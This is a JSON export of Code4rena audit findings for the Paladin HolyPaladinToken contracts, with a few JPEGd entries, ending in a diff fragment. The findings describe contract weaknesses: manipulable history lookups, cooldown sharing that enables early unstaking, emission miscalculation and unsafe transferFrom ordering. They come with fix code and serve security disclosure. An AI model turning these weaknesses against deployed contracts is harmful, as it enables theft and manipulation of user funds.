"https://github.com/code-423n4/2022-03-paladin-findings/issues/59", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-paladin-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-paladin/blob/9c26ec8556298fb1dc3cf71f471aadad3a5c74a0/contracts/HolyPaladinToken.sol#L446-L468 # Vulnerability details When the contract is in blocked state (emergency mode), the protocol wants to return an empty UserLock info, on calling the function getUserLock. However, there is another way, by which the users can find the same information. The below function is not protected when in emergency mode, and users can use this alternatively. Line#466 function getUserPastLock(address user, uint256 blockNumber) ## Impact There is no loss of funds, however the intention to block information (return empty lock info) is defeated, because not all functions are protected. There is inconsistency in implementing the emergency mode check. ## Proof of Concept Contract Name : HolyPaladinToken.sol Functions getUserLock and getUserPastLock ## Recommended Mitigation Steps Add checking for emergency mode for this function getUserPastLock. ``` if(emergency) revert EmergencyBlock(); ``` Additional user access check can be added, so that the function returns correct value when the caller(msg.sender) is admin or owner. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/58", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/55", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Function cooldown() is not protected when protocol in emergency mode", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/54", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-paladin-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-paladin/blob/9c26ec8556298fb1dc3cf71f471aadad3a5c74a0/contracts/HolyPaladinToken.sol#L228-L235 # Vulnerability details Function cooldown() is not protected when protocol is in emergency mode. Its behavior is not consistent with the other major functions defined. ## Impact While other major functions like stake, unstake, lock, unlock, etc., of this contract is protected by checking for emergency flag and reverting, this function cooldown() is not checked. The impact of this is that during emergency mode, users can set immediately the cooldown() and plan for unstaking when the emergency mode is lifted and cooldown period expires. This may not be the desirable behaviour expected by the protocol. ## Proof of Concept Contract Name : HolyPaladinToken.sol Function cooldown() ## Recommended Mitigation Steps Add checking for emergency mode for this function also. ``` if(emergency) revert EmergencyBlock(); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/52", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/51", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/50", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/48", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "`DropPerSecond` is not updated homogeneously, the rewards emission can be much higher than expected in some cases", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/44", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-03-paladin-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-paladin/blob/9c26ec8556298fb1dc3cf71f471aadad3a5c74a0/contracts/HolyPaladinToken.sol#L715-L743 # Vulnerability details https://github.com/code-423n4/2022-03-paladin/blob/9c26ec8556298fb1dc3cf71f471aadad3a5c74a0/contracts/HolyPaladinToken.sol#L715-L743 ```solidity function _updateDropPerSecond() internal returns (uint256){ // If no more need for monthly updates => decrease duration is over if(block.timestamp > startDropTimestamp + dropDecreaseDuration) { // Set the current DropPerSecond as the end value // Plus allows to be updated if the end value is later updated if(currentDropPerSecond != endDropPerSecond) { currentDropPerSecond = endDropPerSecond; lastDropUpdate = block.timestamp; } return endDropPerSecond; } if(block.timestamp < lastDropUpdate + MONTH) return currentDropPerSecond; // Update it once a month uint256 dropDecreasePerMonth = (startDropPerSecond - endDropPerSecond) / (dropDecreaseDuration / MONTH); uint256 nbMonthEllapsed = (block.timestamp - lastDropUpdate) / MONTH; uint256 dropPerSecondDecrease = dropDecreasePerMonth * nbMonthEllapsed; // We calculate the new dropPerSecond value // We don't want to go under the endDropPerSecond uint256 newDropPerSecond = currentDropPerSecond - dropPerSecondDecrease > endDropPerSecond ? currentDropPerSecond - dropPerSecondDecrease : endDropPerSecond; currentDropPerSecond = newDropPerSecond; lastDropUpdate = block.timestamp; return newDropPerSecond; } ``` When current time is `lastDropUpdate + (2*MONTH-1)`: `nbMonthEllapsed` will be round down to `1`, while it's actually 1.99 months passed, but because of precision loss, the smart contract will believe it's only 1 month elapsed, as a result, `DropPerSecond` will only decrease by 1 * `dropDecreasePerMonth`. In another word, due to the precision loss in calculating the number of months elapsed, for each `_updateDropPerSecond()` there can be a short of up to `1 * dropDecreasePerMonth` for the decrease of emission rate. At the very edge case, if all the updates happened just like the scenario above. by the end of the `dropDecreaseDuration`, it will drop only `12 * dropDecreasePerMonth` in total, while it's expected to be `24 * dropDecreasePerMonth`. So only half of `(startDropPerSecond - endDropPerSecond)` is actually decreased. And the last time `updateDropPerSecond` is called, `DropPerSecond` will suddenly drop to `endDropPerSecond`. ### Impact As the `DropPerSecond` is not updated correctly, in most of the `dropDecreaseDuration`, the actual rewards emission rate is much higher than expected. As a result, the total rewards emission can be much higher than expected. ### Recommendation Change to: ```solidity function _updateDropPerSecond() internal returns (uint256){ // If no more need for monthly updates => decrease duration is over if(block.timestamp > startDropTimestamp + dropDecreaseDuration) { // Set the current DropPerSecond as the end value // Plus allows to be updated if the end value is later updated if(currentDropPerSecond != endDropPerSecond) { currentDropPerSecond = endDropPerSecond; lastDropUpdate = block.timestamp; } return endDropPerSecond; } if(block.timestamp < lastDropUpdate + MONTH) return currentDropPerSecond; // Update it once a month uint256 dropDecreasePerMonth = (startDropPerSecond - endDropPerSecond) / (dropDecreaseDuration / MONTH); uint256 nbMonthEllapsed = UNIT * (block.timestamp - lastDropUpdate) / MONTH; uint256 dropPerSecondDecrease = dropDecreasePerMonth * nbMonthEllapsed / UNIT; // We calculate the new dropPerSecond value // We don't want to go under the endDropPerSecond uint256 newDropPerSecond = currentDropPerSecond - dropPerSecondDecrease > endDropPerSecond ? currentDropPerSecond - dropPerSecondDecrease : endDropPerSecond; currentDropPerSecond = newDropPerSecond; lastDropUpdate = block.timestamp; return newDropPerSecond; } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/40", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/39", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/36", "labels": ["bug", "resolved", "sponsor confirmed", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/34", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/32", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Add a timelock to PaladinRewardReserve functions", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/31", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-03-paladin-findings", "body": "Add a timelock to PaladinRewardReserve functions"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/29", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/28", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "updating the state ", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/27", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-03-paladin-findings", "body": "updating the state "}, {"title": "PaladinRewardReserve.sol may have potential bugs if it uses new tokens as rewards", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/26", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-paladin-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-paladin/blob/9c26ec8556298fb1dc3cf71f471aadad3a5c74a0/contracts/PaladinRewardReserve.sol # Vulnerability details ## Impact ``PaladinRewardReserve.sol`` may have potential bugs if it uses new tokens as rewards. ## Proof of Concept Currently, ``PaladinRewardReserve.sol`` has following behaviors: - ``mapping(address => bool) public approvedSpenders`` does not store the info regarding which token it targets - ``setNewSpender``, ``updateSpenderAllowance``, ``removeSpender`` and ``transferToken`` functions can set ``token`` arbitrarily Hence, some corner cases may happen as follows: - Use TokenA at PaladinRewardReserve.sol and do operations. - Start TokenB as rewards at PaladinRewardReserve.sol. - All the information stored in ``approvedSpenders`` was intended for TokenA. So it is possible that following corner cases happen: - ``setNewSpender`` function cannot set new token - If userA is already added in ``approvedSpenders`` for TokenA, it can call ``updateSpenderAllowance``. ## Tools Used Statis code analysis ## Recommended Mitigation Steps Do either of followings depending on the product specification: (1) If PAL token is only used and other token will never be used at ``PaladinRewardReserve.sol``, stop having ``address token`` argument at ``setNewSpender``, ``updateSpenderAllowance``, ``removeSpender`` and ``transferToken`` functions. Instead, set ``token`` at the constructor or other ways, and limit the ability to flexibly set ``token`` from functions. (2) If other tokens potentially will be used at ``PaladinRewardReserve.sol``, update data structure of ``approvedSpenders`` mapping and change the logic. Firstly, it should also contain the info which ``token`` it targets such as ``mapping(address => address => bool)``. Secondly, it should rewrite the ``require`` logic at each function as follows. ``` require(!approvedSpenders[spender][token], \"Already Spender on the specified Token\"); ``` ``` require(approvedSpenders[spender][token], \"Not approved Spender on the specified Token\"); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/24", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/23", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/22", "labels": ["bug", "resolved", "sponsor confirmed", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Past state query results are susceptible to manipulation due to multiple states with same block number", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/20", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-paladin-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L466 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L492 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L644 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L663 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L917 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L961 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L993 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1148 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1164 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1184 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1199 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1225 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1250 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1260 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1287 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1293 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1324 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1352 https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1357 # Vulnerability details ## Impact 4 kinds of states (`UserLock`, `TotalLock`, `Checkpoint`, `DelegateCheckpoint`) are maintained in the protocol to keep record of history. For functions that query history states, target block number is used as an index to search for the corresponding state. However, 3 (`DelegateCheckpoint`, `TotalLock`, `UserLocks`) out of the 4 states are allowed to have multiple entries with same `fromBlock`, resulting in a one-to-many mapping between block number and history entry. This makes queried results at best imprecise, and at worst manipulatable by malicious users to present an incorrect history. ## Proof of Concept Functions that query history states including `_getPastLock`, `getPastTotalLock`, `_getPastDelegate` perform a binary search through the array of history states to find entry matching queried block number. However, the searched arrays can contain multiple entries with the same `fromBlock`. For example the `_lock` function pushes a new `UserLock` to `userLocks[user]` regardless of previous lock block number. ``` function _lock(address user, uint256 amount, uint256 duration, LockAction action) internal { require(user != address(0)); //Never supposed to happen, but security check require(amount != 0, \"hPAL: Null amount\"); uint256 userBalance = balanceOf(user); require(amount <= userBalance, \"hPAL: Amount over balance\"); require(duration >= MIN_LOCK_DURATION, \"hPAL: Lock duration under min\"); require(duration <= MAX_LOCK_DURATION, \"hPAL: Lock duration over max\"); if(userLocks[user].length == 0){ ... } else { // Get the current user Lock uint256 currentUserLockIndex = userLocks[user].length - 1; UserLock storage currentUserLock = userLocks[user][currentUserLockIndex]; // Calculate the end of the user current lock uint256 userCurrentLockEnd = currentUserLock.startTimestamp + currentUserLock.duration; uint256 startTimestamp = block.timestamp; if(currentUserLock.amount == 0 || userCurrentLockEnd < block.timestamp) { // User locked, and then unlocked // or user lock expired userLocks[user].push(UserLock( safe128(amount), safe48(startTimestamp), safe48(duration), safe32(block.number) )); } else { // Update of the current Lock : increase amount or increase duration // or renew with the same parameters, but starting at the current timestamp require(amount >= currentUserLock.amount,\"hPAL: smaller amount\"); require(duration >= currentUserLock.duration,\"hPAL: smaller duration\"); // If the method is called with INCREASE_AMOUNT, then we don't change the startTimestamp of the Lock userLocks[user].push(UserLock( safe128(amount), action == LockAction.INCREASE_AMOUNT ? currentUserLock.startTimestamp : safe48(startTimestamp), safe48(duration), safe32(block.number) )); ... } ... } ``` This makes the history searches imprecise at best. Additionally, if a user intends to shadow his past states from queries through public search functions, it is possible to control the number of entries precisely such that binsearch returns the entry he wants to show. ## Tools Used vim, ganache-cli ## Recommended Mitigation Steps Adopt the same strategy as checkpoint, and modify last entry in array instead of pushing new one if it `fromBlock == block.number` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/18", "labels": ["bug", "resolved", "sponsor confirmed", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/17", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/16", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/15", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/13", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/12", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/10", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/9", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "cooldown is set to 0 when the user sends all tokens to himself.", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/8", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-paladin-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L891-L905 # Vulnerability details ## Impact In the _beforeTokenTransfer function, cooldowns will be set to 0 when the user transfers all tokens to himself. Consider the following scenario Day 0: The user stakes 100 tokens and calls the cooldown function Day 10: the user wanted to unstake the tokens, but accidentally transferred all the tokens to himself, which caused the cooldown to be set to 0 and the user could not unstake. ## Proof of Concept https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L891-L905 ## Tools Used None ## Recommended Mitigation Steps ``` function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual override { if(from != address(0)) { //check must be skipped on minting // Only allow the balance that is unlocked to be transfered require(amount <= _availableBalanceOf(from), \"hPAL: Available balance too low\"); } // Update user rewards before any change on their balance (staked and locked) _updateUserRewards(from); uint256 fromCooldown = cooldowns[from]; //If from is address 0x00...0, cooldown is always 0 if(from != to) { // Update user rewards before any change on their balance (staked and locked) _updateUserRewards(to); // => we don't want a self-transfer to double count new claimable rewards // + no need to update the cooldown on a self-transfer uint256 previousToBalance = balanceOf(to); cooldowns[to] = _getNewReceiverCooldown(fromCooldown, amount, to, previousToBalance); // If from transfer all of its balance, reset the cooldown to 0 uint256 previousFromBalance = balanceOf(from); if(previousFromBalance == amount && fromCooldown != 0) { cooldowns[from] = 0; } } } ``` "}, {"title": "Users at UNSTAKE_PERIOD can assist other users in unstaking tokens.", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/7", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-paladin-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1131 # Vulnerability details ## Impact Consider the following scenario: Day 0: User A stakes 200 tokens and calls the cooldown function. At this time, user A's cooldown is Day 0. Day 15: User B stakes 100 tokens, but then wants to unstake tokens. So user A said that he could assist user B in unstaking tokens, and this could be done by deploying a smart contract. In the smart contract deployed by user A, user B first needs to transfer 100 tokens to user A. In the _getNewReceiverCooldown function, _senderCooldown is Day 15 and receiverCooldown is Day 0, so the latest cooldown of user A is (100 * Day 15 + 200 * Day 0)/(100+200) = Day 5. ``` function _getNewReceiverCooldown( uint256 senderCooldown, uint256 amount, address receiver, uint256 receiverBalance ) internal view returns(uint256) { uint256 receiverCooldown = cooldowns[receiver]; // If receiver has no cooldown, no need to set a new one if(receiverCooldown == 0) return 0; uint256 minValidCooldown = block.timestamp - (COOLDOWN_PERIOD + UNSTAKE_PERIOD); // If last receiver cooldown is expired, set it back to 0 if(receiverCooldown < minValidCooldown) return 0; // In case the given senderCooldown is 0 (sender has no cooldown, or minting) uint256 _senderCooldown = senderCooldown < minValidCooldown ? block.timestamp : senderCooldown; // If the sender cooldown is better, we keep the receiver cooldown if(_senderCooldown < receiverCooldown) return receiverCooldown; // Default new cooldown, weighted average based on the amount and the previous balance return ((amount * _senderCooldown) + (receiverBalance * receiverCooldown)) / (amount + receiverBalance); } ``` Since User A is still at UNSTAKE_PERIOD after receiving the tokens, User A unstakes 100 tokens and sends it to User B. After calculation, we found that when user A has a balance of X and is at the edge of UNSTAKE_PERIOD, user A can assist in unstaking the X/2 amount of tokens just staked. ## Proof of Concept https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L1131 ## Tools Used None ## Recommended Mitigation Steps After calculation, we found that the number of tokens that users at the edge of UNSTAKE_PERIOD can assist in unstaking conforms to the following equation UNSTAKE_PERIOD/COOLDOWN_PERIOD = UNSTAKE_AMOUNT/USER_BALANCE, when COOLDOWN_PERIOD remains unchanged, the smaller the UNSTAKE_PERIOD, the less tokens the user can assist in unstaking, so UNSTAKE_PERIOD can be adjusted to alleviate this situation. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/5", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "Incorrect number of seconds in `ONE_YEAR` variable", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/4", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-paladin-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L25 # Vulnerability details ## Impact In `HolyPaladinToken.sol` the `ONE_YEAR` variable claims that there are `31557600` seconds in a year when this is incorrect. The `ONE_YEAR` variable is used in the `getCurrentVotes()` function as well as the `getPastVotes()` function so it is vital that the correct time in seconds be used as it can effect users negatively. ## Proof of Concept https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/HolyPaladinToken.sol#L25 86,400 seconds in a day x 365 = 31_536_000 ## Tools Used Manual code review ## Recommended Mitigation Steps The correct number of seconds in a year is 31_536_000 so the `ONE_YEAR` variable should be changed to `ONE_YEAR = 31_536_000` "}, {"title": "`HolyPaladinToken.sol` uses `ERC20` token with a highly unsafe pattern", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/3", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-03-paladin-findings", "body": "# Lines of code https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/open-zeppelin/ERC20.sol#L149 # Vulnerability details ## Impact In `HolyPaladinToken.sol` it imports `ERC20.sol` with some changes from the original Open Zeppelin standard. One change is that the `transferFrom()` function does not follow the Checks Effect and Interactions safety pattern to safely make external calls to other contracts. All checks should be handled first, then any effects/state updates, followed by the external call to prevent reentrancy attacks. Currently the `transferFrom()` function in `ERC20.sol` used by `HolyPaladinToken.sol` calls `_transfer()` first and then updates the `sender` allowance which is highly unsafe. The openZeppelin `ER20.sol` contract which is the industry standard first updates the `sender` allowance before calling `_transfer`. The external call should always be done last to avoid any double spending bugs or reentrancy attacks. ## Proof of Concept https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html https://github.com/code-423n4/2022-03-paladin/blob/main/contracts/open-zeppelin/ERC20.sol#L149 Open Zeppelins Implementation https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol ## Tools Used Manual code review ## Recommended Mitigation Steps Be sure to follow the Checks Effects and Interactions safety pattern as the `transferFrom` function is one of the most important functions in any protocol. Consider importing the Open Zeppelin `ERC20.sol` contract code directly as it is battle tested and safe code. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/2", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-03-paladin-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-03-paladin-findings/issues/1", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-03-paladin-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/232", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Update initializer modifier to prevent reentrancy during initialization", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/227", "labels": ["bug", "3 (High Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-04-jpegd-findings", "body": "Update initializer modifier to prevent reentrancy during initialization"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/226", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/225", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/224", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/223", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/222", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/218", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/217", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/216", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/215", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/212", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/210", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/207", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/204", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/202", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/196", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/195", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/192", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/191", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/190", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": "Gas Optimizations"}] \ No newline at end of file diff --git a/results/codearena_findings_15.json b/results/codearena_findings_15.json new file mode 100644 index 0000000..6b256fd --- /dev/null +++ b/results/codearena_findings_15.json @@ -0,0 +1 @@ +[{"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-04-jpegd-findings/issues/189", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-04-jpegd-findings", "body": 